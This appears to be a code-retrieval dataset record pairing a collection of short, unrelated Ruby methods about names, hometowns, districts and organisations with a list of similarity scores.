"def get_faculty(affi_string)\n $affi_faculties.each do |faculty|\n if affi_string.include?(faculty)\n return faculty\n end\n end\n return nil\nend",
"def borough_identifier(borough)\n\tif borough == \"Queens\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Bronx\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Brooklyn\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Staten Island\"\n\t\tputs \"You live in #{borough}!\"\n\telsif borough == \"Manhattan\"\n\t\tputs \"You live in #{borough}!\"\n\telse\n\t\tputs \"I don't think you live in the boroughs.\"\n\tend\nend",
"def search_firstname(input)\n \n search_name = input.downcase\n lower = 0\n upper = entries.length - 1\n \n while lower<= upper\n mid = (upper+lower)/2\n mid_name_array = entries[mid].name.split(' ').map! { |el| el.downcase }\n \n if search_name == mid_name_array[0]\n return entries[mid]\n elsif search_name < mid_name_array[0]\n upper = mid - 1\n elsif search_name > mid_name_array[0]\n lower = mid + 1\n end\n end\n return nil\n end",
"def print_letter(students, letter, center_by)\n students.each_with_index do |student, index|\n if (student[:name].chars)[0] == letter\n puts \"#{index+1}. #{student[:name]} (#{student[:cohort]} cohort)\".center(center_by)\n end\n end\nend",
"def dispatched_employee_name\n Combined::Registration.find_or_initialize_by_signon(dispatched_employee).name\n end",
"def district\n parts[1]\n end",
"def identification_name(identification_type)\n case identification_type\n when Donor.identification_types['pan_card']\n 'Permanent Account Number'\n when Donor.identification_types['aadhaar_card']\n 'Aadhaar Number'\n when Donor.identification_types['passport']\n 'Passport number'\n when Donor.identification_types['voter_id_card']\n 'Elector\\'s photo identity number'\n when Donor.identification_types['driving_license']\n 'Driving License number'\n when Donor.identification_types['ration_card']\n 'Ration card number'\n when Donor.identification_types['tax_payer_country_of_residence']\n 'Tax Identification Number'\n else\n ''\n end\n end",
"def name\n return 'AedgSmallToMediumOfficeExteriorWallConstruction'\n end",
"def test_return_name\n t = Town::new 'Dynamic Palisades', ['Matzburg', 'Hash Crossing'], 2, 2\n name = t.return_name\n assert_equal name, 'Dynamic Palisades'\n end",
"def format_campus_location(campus)\n # TODO (Step 2) - Fix, not showing name.\n \"Flatiron #{campus[:name]}\"\nend",
"def company_name\n name.left_name\nend",
"def office_name\n self.dig_for_string(\"agentSummary\", \"office\", \"name\")\n end",
"def name\n name = PersonName.where(person_id: patient.id)\\\n .order(:date_created)\\\n .first\n\n given_name = na\n\n \"#{name.given_name} #{name.family_name}\"\n end",
"def ou_to_short(name)\n name = name.upcase\n\n case name\n when \"DSS IT SERVICE CENTER\", \"DSS IT SHARED SERVICE CENTER\"\n return \"IT\"\n when \"DSS HR/PAYROLL SERVICE CENTER\"\n return \"HR\"\n when \"CALIFORNIA HISTORY SS PROJECT\"\n return \"CHP\"\n when \"UC CENTER SACRAMENTO\"\n return \"UCCS\"\n when \"HEMISPHERIC INSTITUTE-AMERICAS\"\n return \"PHE\"\n when \"HISTORY PROJECT\", \"HISTORY PROJECT UCD\"\n return \"HP\"\n when \"SOCIAL SCIENCES PROGRAM\"\n return \"SSP\"\n when \"PHYSICAL EDUCATION PROGRAM\"\n return \"PHE\"\n when \"DSS RESEARCH SERVICE CENTER\"\n return \"RSC\"\n when \"GEOGRAPHY\"\n return \"GEO\"\n when \"ANTHROPOLOGY\"\n return \"ANT\"\n when \"COMMUNICATION\"\n return \"CMN\"\n when \"ECONOMICS\"\n return \"ECN\"\n when \"HISTORY\"\n return \"HIS\"\n when \"LINGUISTICS\"\n return \"LIN\"\n when \"MILITARY SCIENCE\"\n return \"MSC\"\n when \"PHILOSOPHY\"\n return \"PHI\"\n when \"POLITICAL SCIENCE\"\n return \"POL\"\n when \"PSYCHOLOGY\"\n return \"PSC\"\n when \"EASTERN ASIAN STUDIES\"\n return \"EAS\"\n when \"INTERNATIONAL RELATIONS\"\n return \"IRE\"\n when \"MIDDLE EAST/SOUTH ASIA STUDIES\", \"MIDDLE EAST/SOUTH ASIA PROGRAM\"\n return \"MSA\"\n when \"SCIENCE & TECHNOLOGY STUDIES\"\n return \"STS\"\n when \"CENTER FOR MIND AND BRAIN\", \"CENTER FOR MIND & BRAIN\"\n return \"CMB\"\n when \"SOCIOLOGY\"\n return \"SOC\"\n when \"COM, PHIL & LIN RED CLUSTER\"\n return \"RED\"\n when \"POLI SCI, IR ORANGE CLUSTER\", \"SOCIAL SCIENCE ORANGE CLUSTER\"\n return \"ORANGE\"\n when \"ECON, HIS, MS BLUE CLUSTER\", \"SOCIAL SCIENCES BLUE CLUSTER\"\n return \"BLUE\"\n when \"ANT, SOC GREEN CLUSTER\", \"SOCIAL SCIENCES GREEN CLUSTER\"\n return \"GREEN\"\n when \"L&S DEANS - SOCIAL SCIENCES\"\n return \"DEANS\"\n when \"PSYCH, CMB YELLOW CLUSTER\", \"SOCIAL SCIENCE YELLOW CLUSTER\"\n return \"YELLOW\"\n when \"EDUCATION - PH.D.\"\n return \"EDU\"\n when \"COMMUNITY DEVELOPMENT\"\n return \"ComDev\"\n when \"NEUROSCIENCE\", \"CENTER FOR NEUROSCIENCE\"\n return \"NueroSci\"\n when \"CENTER FOR INNOVATION STUDIES\"\n return \"CSIS\"\n when \"ASUCD\", \"UC DAVIS\", \"ASIAN AMERICAN\", \"UNIVERSITY EXTENSION\", \"CHEDDAR\", \"STUDENT EMPLOYMENT CENTER\",\n \"TEMPORARY EMPLOYMENT SERVICE\", \"CAMPUS RECREATION AND UNIONS\", \"CRESS DEPARTMENT\", \"LIBRARY\", \"POLICE\",\n \"COMPARATIVE LITERATURE\", \"PRIMATE CENTER\", \"L&S DEANS - U/G ED & ADVISING\", \"STATISTICS\",\n \"AGR & ENV SCI DEANS OFFICE\", \"OFFICE OF THE CHANCELLOR\", \"UNDERGRADUATE ADMISSIONS\",\n \"UNIVERSITY WRITING PROGRAM\", \"TEXTILES & CLOTHING\", \"STUDENT HOUSING\", \"ENGLISH\", \"ANIMAL SCIENCE\",\n \"IRB ADMINISTRATION\", \"SCHOOL OF LAW-DEANS OFFICE\", \"STUDENT ACADEMIC SUCCESS CTR\", \"GERMAN & RUSSIAN\",\n \"INTERCOLLEGIATE ATHLETICS\", \"HUMAN ECOLOGY\", \"GRADUATE DIVISION\", \"MED: NEUROLOGY\",\n \"ENVIRONMENTAL TOXICOLOGY\", \"SCHOOL OF MED - STAFF\", \"L&S DEANS - DEVELOPMENT\",\n \"TEMPORARY EMPLOYMENT POOL ADMN\", \"SCHOOL OF MED - APS\", \"MED: GENERAL PEDIATRICS\",\n \"MED:PSYCHIATRY & BEHAV SCI\", \"NATIVE AMERICAN STUDIES\", \"ART\", \"VP UNDERGRADUATE EDUCATION\", \"GEOLOGY\",\n \"VM: CTR COMPARATIVE MEDICINE\", \"ENGR COMPUTER SCIENCE\", \"MED: DIV OF INTERNAL MED\",\n \"FM: CUSTODIAL SERVICES\", \"VOORHIES ADMINISTRATIVE UNIT\", \"MED: OPHTHALMOLOGY\", \"MED: PUBLIC HEALTH SCIENCES\",\n \"NEURO PHYSIO & BEHAVIOR\", \"INST OF TRANSPORTATION STUDIES\", \"ENVIRONMENTAL HEALTH & SAFETY\",\n \"MEDIEVAL STUDIES\", \"EDUCATION\", \"ACADEMIC AFFAIRS\", \"ANR SUSTAINABLE AG PROG\"\n return nil\n else\n Rails.logger.warn \"AD Sync: Missing OU for translation to container name: #{name}\"\n ActivityLog.err!(\"Could not translate unknown organization to AD group equivalent: #{name}\", ['active_directory'])\n end\n\n return false\nend",
"def find_id_facility (name)\n return Facility.find_by(name: name)\n end",
"def occupation\n occupation_sum = 0\n team_roles.each do |team_role|\n occupation_sum += team_role.occupancy\n end\n return occupation_sum\n end",
"def service_prov_name(eob = nil,claim = nil )\n @eob = @eob.nil?? eob : @eob\n prov_id, qualifier = service_prov_identification\n ['NM1', '82', (@eob.rendering_provider_last_name.to_s.strip.blank? ? '2': '1'),\n prov_last_name_or_org, @eob.rendering_provider_first_name,\n @eob.rendering_provider_middle_initial, '', @eob.rendering_provider_suffix,\n qualifier, prov_id].trim_segment.join(@element_seperator)\n end",
"def occupation_params\n params.require(:occupation).permit(:name)\n end",
"def company_name\n self.dig_for_string(\"agentSummary\", \"office\", \"companyName\")\n end",
"def set_occupation\n @occupation = Occupation.find(params[:id])\n end",
"def get_name(pokemon)\n pokemon['species']['name']\nend",
"def insured_name\n id, qual = eob.member_id_and_qualifier\n sub_name_ele = []\n sub_name_ele << 'NM1'\n sub_name_ele << 'IL'\n sub_name_ele << '1'\n sub_name_ele << eob.subscriber_last_name\n sub_name_ele << eob.subscriber_first_name\n sub_name_ele << eob.subscriber_middle_initial\n sub_name_ele << ''\n sub_name_ele << eob.subscriber_suffix\n sub_name_ele << qual\n sub_name_ele << id\n sub_name_ele = Output835.trim_segment(sub_name_ele)\n sub_name_ele.join(@element_seperator)\n end",
"def search_politician(name)\n index = @politician_list.index{ |politician| politician.name == name } \n end",
"def occupied_by\n @occupied_by\n end",
"def name_with_location\n return \"#{self.name} in #{self.city.name}, #{self.state.abbreviation}\"\n end",
"def student_name\n student = Student.find_by_admission_no(admission_no)\\\n if type == 'Student'\n student.first_name + ' ' + student.last_name\n end",
"def name(n)\n if ! n\n return ''\n elsif n['family'] and n['given']\n return n['family'] + ', ' + n['given']\n elsif n['family']\n return n['family']\n else\n return n['given']\n end\nend",
"def continent\n\n Continent.find_by :alpha_2, continent_alpha_2\n\n end",
"def name_unique_in_clinic?\n Department.in_clinic(self).where(name: name).count == 0\n end",
"def name_for_clearinghouse \n clearinghouse_customer_name || name\n end",
"def findFCName()\n doc = Hpricot::XML(open('Summary.xml'))\n fcName = \"\"\n (doc/:'ChipSummary').each do|summary|\n runFolder = (summary/'RunFolder').inner_html\n\n run = runFolder[/([a-zA-Z0-9]+)$/]\n\n if run.match(/^FC/)\n fcName = run.slice(2, run.size)\n else\n fcName = run\n end\n end\n # For HiSeqs, a flowcell is prefixed with letter \"A\" or \"B\".\n # We remove this prefix from the reduced flowcell name, since\n # a flowcell name is entered without the prefix letter in LIMS.\n # For GA2, there is no change.\n fcName.slice!(/^[a-zA-Z]/)\n return fcName\n end",
"def get_place_name(node_children)\n node_children.each do |child_of_node|\n if child_of_node.class == Nokogiri::XML::Element\n return child_of_node.children[0].text\n end\n end\n return \"unknown\"\n end",
"def proper_name\n Employee.find(self.employee_id).proper_name\n end",
"def fullName()\n \t@first + \" \" + @middle + \" \" + @last\n end",
"def fullName()\n return first + \" \" + middle + \" \" + last\n end",
"def districts_by_prefix(districts, prefix)\n name_eng = case prefix\n when :hk\n \"Hong Kong Island\"\n when :kln\n \"Kowloon\"\n when :nt\n \"New Territories\"\n when :is\n \"Islands\"\n else\n nil\n end\n \n districts.select{|district| district.name_eng == name_eng}.first if name_eng\nend",
"def fullName\n return @first + ' ' + @middle + ' ' + @last\n end",
"def names_of_departments_with_no_employees_from_outside_southampton(departments)\nend",
"def organisation_name\n return if partnership?\n\n organisation.name\n end",
"def service_prov_name\n Output835.log.info \"Printing NM1*82 for Patient Acc Num : #{eob.patient_account_number}\"\n prov_id, qualifier = service_prov_identification\n service_prov_name_elements = []\n service_prov_name_elements << 'NM1'\n service_prov_name_elements << '82'\n service_prov_name_elements << (eob.rendering_provider_last_name.to_s.strip.blank? ? '2': '1')\n service_prov_name_elements << prov_last_name_or_org\n service_prov_name_elements << eob.rendering_provider_first_name\n service_prov_name_elements << eob.rendering_provider_middle_initial\n service_prov_name_elements << ''\n service_prov_name_elements << eob.rendering_provider_suffix\n service_prov_name_elements << qualifier\n service_prov_name_elements << prov_id\n service_prov_name_elements = Output835.trim_segment(service_prov_name_elements)\n service_prov_name_elements.join(@element_seperator)\n end",
"def pt_memb_name\n {:name=>$game_party.members[@party_index_tb].name}\n end",
"def research_centre_title\n if self.research_centre\n return self.research_centre.title\n else\n return \"Undefined\"\n end\n end"
] |
[
"0.7461412",
"0.738937",
"0.7361984",
"0.7361621",
"0.7356785",
"0.7306048",
"0.7176409",
"0.7115286",
"0.6723948",
"0.66518277",
"0.6419855",
"0.62739056",
"0.6238787",
"0.6221232",
"0.61621815",
"0.61202973",
"0.60693085",
"0.59959817",
"0.5975323",
"0.59506005",
"0.5942683",
"0.57024926",
"0.56099606",
"0.55201566",
"0.55185413",
"0.55054736",
"0.549381",
"0.5479412",
"0.5476349",
"0.5471597",
"0.54557955",
"0.5455493",
"0.54537064",
"0.54320526",
"0.5390567",
"0.5366277",
"0.53509074",
"0.53467125",
"0.5340821",
"0.5332373",
"0.53277546",
"0.53120995",
"0.52892774",
"0.5288965",
"0.52805763",
"0.52689356",
"0.52662265",
"0.52599233",
"0.5255545",
"0.52550966",
"0.5247734",
"0.52397764",
"0.523797",
"0.5220351",
"0.5217806",
"0.5212517",
"0.52115196",
"0.52087605",
"0.5175612",
"0.51605034",
"0.5149543",
"0.5145504",
"0.5126068",
"0.5117922",
"0.5116008",
"0.5107355",
"0.5105446",
"0.5089612",
"0.50813997",
"0.50800824",
"0.50775325",
"0.50743663",
"0.5070854",
"0.5058951",
"0.50582314",
"0.5054723",
"0.50487185",
"0.5043441",
"0.50430727",
"0.5039582",
"0.50315714",
"0.5027745",
"0.501607",
"0.5013408",
"0.49995065",
"0.4998657",
"0.4987623",
"0.49874857",
"0.49839187",
"0.49789435",
"0.49765983",
"0.49756804",
"0.49724516",
"0.4972281",
"0.49699584",
"0.49664152",
"0.49623623",
"0.49612164",
"0.49562255",
"0.4941967"
] |
0.7050208
|
8
|
Count how many contestants are from input hometown
|
def count_contestants_by_hometown(data, hometown)
counter = 0
data.each do |season, person|
person.each do |person_data|
if person_data["hometown"] == hometown
counter += 1
end
end
end
counter
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def count_contestants_by_hometown(data, hometown)\n home_town = 0\n data.each do |season_iteration, stats|\n stats.each do |town|\n if town[\"hometown\"] == hometown\n home_town = home_town + 1\n end\n end\n end\n return home_town\nend",
"def count_contestants_by_hometown(data, hometown)\n counter = 0\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"hometown\"] == hometown\n counter += 1 \n end\n end\n end\n return counter\nend",
"def count_contestants_by_hometown(data, hometown)\n all_seasons(data).reduce(0) do |sum, contestant|\n if contestant[\"hometown\"] == hometown \n sum + 1 \n else \n sum \n end\n end\nend",
"def count_contestants_by_hometown(data, hometown)\n count_of_contestants_from_hometown = 0\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n if contestant[\"hometown\"] == hometown\n count_of_contestants_from_hometown += 1\n end\n end\n end\n count_of_contestants_from_hometown\nend",
"def count_contestants_by_hometown(data, hometown)\n answer_counter = 0\n data.each do |season_key, season_data|\n season_data.each_with_index do |contestant|\n contestant.each do |key, value|\n if value == hometown\n answer_counter += 1\n end\n end\n end\n end\n answer_counter\nend",
"def count_contestants_by_hometown(data, hometown)\n counter = 0 # COUNTER VALUE HAS TO BE HERE\n data.each do |season, season_array|\n season_array.each do |into_array|\n if into_array[\"hometown\"] == hometown\n counter += 1\n # binding.pry\n end \n end \n end\n counter\nend",
"def traversal_9\n num_occurances = 0\n Perpetuity[Address].all.to_a.each do |address|\n num_occurances += 1 if address.city.downcase.split('').first == address.city.downcase.split('').last\n end\n return num_occurances\nend",
"def number_of_cities(code)\n return 0 if !@states[code.to_sym][:cities]\n @states[code.to_sym][:cities].length\nend",
"def gpx_airport_count(gpx, airport_to_find)\n airports = Hash.from_xml(gpx).dig(\"gpx\", \"wpt\")\n count = airports.select{|a| a[\"description\"] == airport_to_find.city}.size\n end",
"def count_places\n COUNT_PLACES\n end",
"def kml_airport_count(kml, airport_to_find)\n airports = Hash.from_xml(kml).dig(\"kml\", \"Document\", \"Folder\").find{|f| f[\"name\"] == \"Airports\"}.dig(\"Placemark\")\n count = airports.select{|a| a[\"description\"] == airport_to_find.city}.size\n end",
"def number_of_councils\n payer_breakdown && payer_breakdown.select{ |p| p[:organisation_type] == 'Council' }.size\n end",
"def count_road_networks(cities:)\n result = cities\n result % 663_224_321\nend",
"def cult_population\n by_cult.count\n end",
"def count_of_hufflepuff(values)\n count = 0\n values.each do |house| \n if house[2] == \"Hufflepuff\"\n count += 1\n end\n end\n puts \"There are #{count} Hufflepuffs!\"\nend",
"def cult_population\n BloodOath.all.select { |oath| self == oath.cult }.count\n end",
"def number_of_restaurants_in (city_name)\n\t\t@@memory[city_name][:count] || nil\n\tend",
"def test_return_num_neighbors\n t = Town::new 'Dynamic Palisades', ['Matzburg', 'Hash Crossing'], 2, 2\n num_neighbors = t.return_num_neighbors\n assert_equal num_neighbors, 2\n end",
"def count_population(country)\n population = 0\n for country in country\n population += country[:population]\n end\n return population\nend",
"def food_count()\nreturn @stomach.count()\nend",
"def cult_population\n BloodOath.all.find_all do |oath|\n oath.cult == self\n end.size\n end",
"def count_population_of_uk(collection_of_countries)\n total_population = 0\n for country in collection_of_countries\n total_population += country[:population]\n end\n return total_population\nend",
"def num_parcels_sent_to_city(city)\n count = 0\n @posts.each {|x| count +=1 if x.city == city}\n return count\n end",
"def get_occupation(data, hometown)\n return_value = \"No contestants from that hometown\"\n data.each do |season_in_hash, contestant_array|\n contestant_array.each do |contestant|\n contestant.each do |x, y|\n if contestant['hometown'] == hometown\n return contestant['occupation']\n end\n end \n end\n end \n return_value\nend",
"def number_of_venues_presented_at(login=nil)\n count_by_frbr(login, :is_presented_by, :how_many_roles?) \n end",
"def get_count(input)\n input.count('aeiou')\nend",
"def current_occupancy\n self.dinosaurs.size\n end",
"def orbit_count(orbit_map, satellite)\n count = 0\n while satellite = orbit_map[satellite]\n count += 1\n end\n count\nend",
"def compute_occupied_places\n application_letters.where(status: true).count\n end",
"def total_orbit_count(orbit_map)\n count = 0\n orbit_map.each{|satellite, _|\n central_objects = orbit_count(orbit_map, satellite)\n # puts \"Satellite %s orbits %d objects\" % [satellite, central_objects]\n count += central_objects\n }\n count\nend",
"def number_of_superwork_evidences(login=nil)\n count_by_frbr(login, :is_evidence_of, :how_many_superworks?) \n end",
"def num_district_teams\n num_teams = 0\n novice_division = Division.find_by_name('District Novice')\n experienced_division = Division.find_by_name('District Experienced')\n teams.each do |team|\n if team.division == novice_division or team.division == experienced_division\n if team.team_registration.complete?\n num_teams += 1\n end\n end\n end\n num_teams\n end",
"def number_of_honors(text)\n result = 0\n @honors.each do |h|\n if text.downcase.include?(h)\n result += 1\n end\n end\n return result\nend",
"def cult_population\n followers_list.size\n end",
"def counties\n @retailer = Retailer.find(params[:retailer_id])\n @counties = Spree::County.find_all_by_state_id(@retailer.physical_address.state_id)\n end",
"def sum_of_a_beach (beach)\n (beach.scan(/sand|water|fish|sun/i) || []).length\nend",
"def count_electoral_college\n @swing_states.each do |row|\n @swing_votes += @polls[row[0]][0]\n end\n @clinton_states.each do |row|\n @clinton_votes += @polls[row[0]][0]\n end\n @trump_states.each do |row|\n @trump_votes += @polls[row[0]][0]\n end\n end",
"def count\n merchants.count\n end",
"def count_addresses\n self.people.collect { |a| a.address }.count\n end",
"def no_of_address data\n no_of_addresses = 1\n data.headers.each do |item|\n if item != 'city'\n no_of_addresses+=1\n end\n end\n no_of_addresses\n end",
"def count_days(city, cost)\n @schedule.reduce(0) do |m, day|\n m + (day.city == city && day.cost == cost ? 1 : 0)\n end\n end",
"def get_occupation(data, hometown)\n answer_occupation = \"\"\n data.each do |season_key, season_data|\n season_data.each_with_index do |contestant, index|\n contestant.each do |key, value|\n if value == hometown\n if answer_occupation == \"\"\n answer_occupation = season_data[index][\"occupation\"]\n end\n end\n end\n end\n end\n answer_occupation\nend",
"def count_people(query={})\n self.simple_client.get(\"/api/v1/people/count?#{query.to_query}\")[\"count\"]\n end",
"def cult_population\n BloodOath.all.select{|bo| bo.cult == self}.length\n end",
"def count_ai_battler\n count = -1\n @battle_info.parties.each do |bank|\n count += bank.size\n end\n log_debug(\"Found #{count} AI\")\n return count\n end",
"def number_of_venues_held_at(login=nil)\n count_by_frbr(login, :is_held_at, :how_many_roles?) \n end",
"def cult_population\n Bloodoath.all.select {|bloodoath| bloodoath.cult == self}.count\n end",
"def find_land world\n count = []\n\n world.each_with_index do |y, y_ind|\n #puts y.index(y_ind)\n world[y_ind].each_with_index do |x, x_ind|\n if world[y_ind][x_ind] == 'land'\n count.push continent_size(world, x_ind, y_ind)\n end\n end\n end\n count\nend",
"def living_neighbors(cell)\n count = 0\n cell.neighborhood.each { |k, v|\n count += 1 if @community[v].state == true\n }\n count\n end",
"def living_neighbors(cell)\n count = 0\n cell.neighborhood.each { |k, v|\n count += 1 if @community[v].state == true\n }\n count\n end",
"def nearby_count(search_for)\n count = 0\n DIRECTIONS.each do |direction|\n count += 1 if space(direction).send(search_for)\n end\n return count\n end",
"def home\n @posts = Post.all\n # @posts = @posts.group(:city).count\n\n end",
"def wins()\n\t\tself.as_regular_contestants.select{|c| c.win()}.size()\n\tend",
"def head_count\n clients.map(&:headOfHousehold?).count(true)\n end",
"def river_count\n return @fishes.count\nend",
"def apartment_count\n apartments.length\n end",
"def total_crowd\n attendees.length\n end",
"def trip_count\n trips.length\nend",
"def count_by(geo, results)\n totals = results.each_with_object(Hash.new(0)) do |res,counts|\n # binding.pry\n next unless [\"us\",\"ca\"].include?(res.country)\n counts[res.send(geo.to_sym)] += 1\n end\n puts \"TOTAL: #{totals.values.inject(:+)}\"\n\n totals = totals.sort_by { |geo,count| -count }\n\n puts \"Total groups by #{geo.to_s}: \"\n totals.each do |k,v|\n puts \"#{k}: #{v}\"\n end\nend",
"def cult_population\n # First, get all of the followers that belong to this cult, then count how many there are\n self.followers.count\n end",
"def zone_count\n da_zones=zones\n count = da_zones.count\n da_zones.each{ |z| count += z.zone_count }\n count\n end",
"def min_umbrellas(weather)\n count, rain, at_home, at_work = 0, [\"rainy\", \"thunderstorms\"], 0, 0\n return 0 if weather.include?(rain[0] == false || weather.include?(rain[1]) == false)\n weather.each_with_index do |x, i|\n if i == 0 && rain.include?(x)\n count += 1\n at_work += 1\n elsif i.odd? == false && rain.include?(x)\n count += 1 if at_home == 0\n at_work += 1 \t \t \n at_home -= 1 if at_home > 0 \n elsif i.odd? && rain.include?(x)\n count += 1 if at_work == 0\n at_home += 1\n at_work -= 1 if at_work > 0\n end\n end\n p count\nend",
"def total_flights\n approved_flights.count\n end",
"def joinees_count\n self.joinees.count\n end",
"def number_of_work_influences(login=nil)\n count_by_frbr(login, :is_influenced_by, :how_many_works?) \n end",
"def user_city(homes)\n\n\t\t\t\n\t\t\tputs \"Please enter the city you would like to find the home's average: \"\n\t\t\tuser_input=gets.chomp\n\t\t\tuser_input=user_input.downcase\n\n\t\t\tcity_homes=homes.select do |hm|\n\t\t\t\thm.city.downcase==user_input\n\t\t\tend\n\t\t\t# p city_homes\n\t\tend",
"def trip_count\n trips.count\n end",
"def continent_size world, x, y\nif world[y][x] != 'land' # => false, true, true, true, false, true, true, true, true, true, true, false, true, true, true, true, true, true, true, true, true, true, true, true, true\n# Either it's water or we already counted it,\n# but either way, we don't want to count it now.\nreturn 0 # => 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0\nend\n# So first we count this tile...\nsize = 1 # => 1, 1, 1\nworld[y][x] = 'counted land' # => \"counted land\", \"counted land\", \"counted land\"\n# Each time the program his a tile marked 'land' it updates that tile\n# so it is no longer 'land' but 'counted land', meaning the next time the\n# program hits that tile it will no longer be equal to 'land' and therefore\n# is not double counted.\n\n# ...then we count all of the neighboring eight tiles\n# (and, of course, their neighbors by way of the recursion).\n#\n# The best way to think of this is that each time the program hits a land tile\n# it starts spiraling around that tile until it finds another land tile and\n# each time it finds another land tile it starts again from that second land tile\n# and so on and son on until it has counted all the land tiles and their neighbors\n# that joined the starting tile.\n#\nsize = size + continent_size(world, x-1, y-1) # => 1, 1, 1\nsize = size + continent_size(world, x , y-1) # => 1, 1, 1\nsize = size + continent_size(world, x+1, y-1) # => 1, 1, 1\nsize = size + continent_size(world, x-1, y ) # => 1, 1, 3\nsize = size + continent_size(world, x+1, y ) # => 1, 1, 3\nsize = size + continent_size(world, x-1, y+1) # => 1, 1, 3\nsize = size + continent_size(world, x , y+1) # => 1, 2, 3\nsize = size + continent_size(world, x+1, y+1) # => 1, 2, 3\nsize # => 1, 2, 3\nend",
"def cult_population\n my_followers.count\n end",
"def find_origin(table_of_umpires)\n ipl_umpires = Hash.new(0)\n table_of_umpires.each do |table_row|\n ipl_umpires[table_row['Nationality']] += 1 if table_row['Nationality'] != 'India'\n end\n ipl_umpires\nend",
"def get_university_rank(text)\n rank = nil\n nu_count = text.downcase.scan(/northwestern university/).count\n @universities.reverse.each_with_index do |u, i|\n if text.downcase.include?(u.downcase)\n rank = 500 - i\n end\n if rank != nil\n if rank > 30 && nu_count > 1\n rank = 30\n end\n elsif nu_count > 1\n rank = 30\n end\n end\n return rank\nend",
"def trip_count\n trips.count\n end",
"def trip_count()\n self.trips().length()\n end",
"def count_stuff\n @members.each do |member|\n if member.active\n @active += 1\n if member.paymentstatus && member.membershipyear.to_i == Time.now.year.to_i\n @paidthisyear += 1\n end\n\n if !member.membergroup.onetimefee || member.membershipyear.to_i == Time.now.year.to_i\n @total += member.membergroup.fee\n end\n\n if @membergroups[member.membergroup.name.to_sym]\n @membergroups[member.membergroup.name.to_sym] = @membergroups[member.membergroup.name.to_sym] + 1\n else\n @membergroups[member.membergroup.name.to_sym] = 1\n end\n\n if @municipalities[member.municipality.to_sym]\n @municipalities[member.municipality.to_sym] = @municipalities[member.municipality.to_sym] + 1\n else\n @municipalities[member.municipality.to_sym] = 1\n end\n\n else\n @deleted += 1\n end\n\n end\n @municipalities = @municipalities.sort_by { |key, value| value }.reverse\n end",
"def count_occurrences(vehicles)\n occurences = {}\n\n vehicles.each do |vehicle|\n occurences[vehicle] = vehicles.count(vehicle)\n end\n\n occurences.each do |vehicle, count|\n puts \"#{vehicle} => #{count}\"\n end\nend",
"def customers_count()\n return customers().length()\n end",
"def num_doctors\n doctors.count\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n trips.length\n end",
"def trip_count\n trips.length\n end",
"def KiteCount\n return kites.any? ? kites.count : 0\n end",
"def number_of_awards(text)\n result = 0\n @awards.each do |a|\n if text.downcase.include?(a)\n result += 1\n end\n end\n return result\nend",
"def amount_of_people_alive_in(year)\n amount = 0\n\n each { |person| amount += 1 if person.alive_in?(year) }\n\n amount\n end",
"def dinosaurii_count\n @@count += 1\n end",
"def total_visit\n pet_histories.count\n end",
"def count_locations_over_time(publications)\n # Get a list of locations for each year\n year_location_list = Hash.new(0)\n publications.each do |publication|\n locations = publication.locations\n year_key = publication.publication_year.to_s\n if not year_location_list.key?(year_key)\n year_location_list[year_key] = Set.new()\n end\n locations.each do |location|\n year_location_list[year_key] << location\n end\n end\n # Count number of cumulative locations over time\n last_year = Time.new.year - 1\n year_range = (1990..last_year)\n categories = []\n values = []\n cumulative_locations = Set.new()\n year_range.each do |year|\n categories << year.to_s\n cumulative_locations.merge(year_location_list[year.to_s])\n values << cumulative_locations.count\n end\n return categories, values\n end",
"def cupcake_solver(cupcake_counts, number_of_students_in_class)\n # number of cupcakes for each flavor\n cake_set = cupcake_counts\n n = number_of_students_in_class\n cakes_per_student = 0\n\n cake_set.each do |count|\n # cakes per student for this flavor\n c = count / n\n # running total\n cakes_per_student += c\n end\n cakes_per_student\nend",
"def count \n trips.length\n end",
"def sheep_count(num)\n \nend",
"def number_of_certifications(text)\n result = 0\n @certifications.each do |c|\n if text.downcase.include?(c)\n result += 1\n end\n end\n return result\nend",
"def mine_count\n locations_within_proximity.having_mines.count\n end",
"def check_train_wagons\n passenger_trains_amount = 0\n cargo_amount = 0\n @trains.each_value do |train|\n train.type == 'cargo' ? cargo_amount += 1 : passenger_trains_amount += 1\n end\n passenger_matches(passenger_trains_amount) || cargo_matches(cargo_amount)\n end",
"def count\n filtered = apply_criteria(@data)\n filtered.count\n end",
"def turn_count(board)\n count = 0\n board.each do |occupied|\n if occupied == \"X\" || occupied == \"O\"\n #if count is =< to 9\n count = count + 1\n end\n end\n return count\nend",
"def number_of_influences_these_works(login=nil)\n count_by_frbr(login, :is_an_influence_on, :how_many_works?) \n end",
"def biodiversity_index(specimens)\n all_species = specimens.uniq\n count = {}\n\n all_species.each do |species|\n count[species] = specimens.count(species)\n end\n\n number_of_species = all_species.length\n smallest_population_size = count.values.min \n largest_population_size = count.values.max\n\n number_of_species ** 2 * smallest_population_size / largest_population_size\n \nend",
"def trip_count\n trips.length\n end",
"def number_of_superwork_influences(login=nil)\n count_by_frbr(login, :is_influenced_by, :how_many_superworks?) \n end",
"def chromosome_count(genome_array)\n ccount = Hash.new(0)\n genome_array.each {|entry| ccount[entry[1]] += 1}\n ccount.each {|chromosome, count| puts \"Chromosome \" + chromosome.to_s + \" has \" + count.to_s + \" SNP data points\" }\n total = 0\n ccount.values.each {|count| total+= count }\n puts \"----\"\n puts total.to_s + \" total data points\"\n return ccount\nend",
"def count\n\n Sizetype.find_all_by_godown_id_and_company_id(1,1).each do |h|\n unless h.quantity.nil?\n @count += h.quantity\n end\n end \n end"
] |
[
"0.8026931",
"0.77691",
"0.7758352",
"0.7691321",
"0.76443857",
"0.7280335",
"0.69500345",
"0.6517222",
"0.6447328",
"0.6411697",
"0.6328612",
"0.6262608",
"0.62113726",
"0.6187981",
"0.61532813",
"0.608977",
"0.6070199",
"0.6069902",
"0.6063244",
"0.60341066",
"0.6023619",
"0.59890807",
"0.5979614",
"0.5971489",
"0.59333944",
"0.5927832",
"0.59162325",
"0.5895891",
"0.5883652",
"0.58676803",
"0.585758",
"0.5854208",
"0.58516526",
"0.5845102",
"0.58288634",
"0.58194196",
"0.58175063",
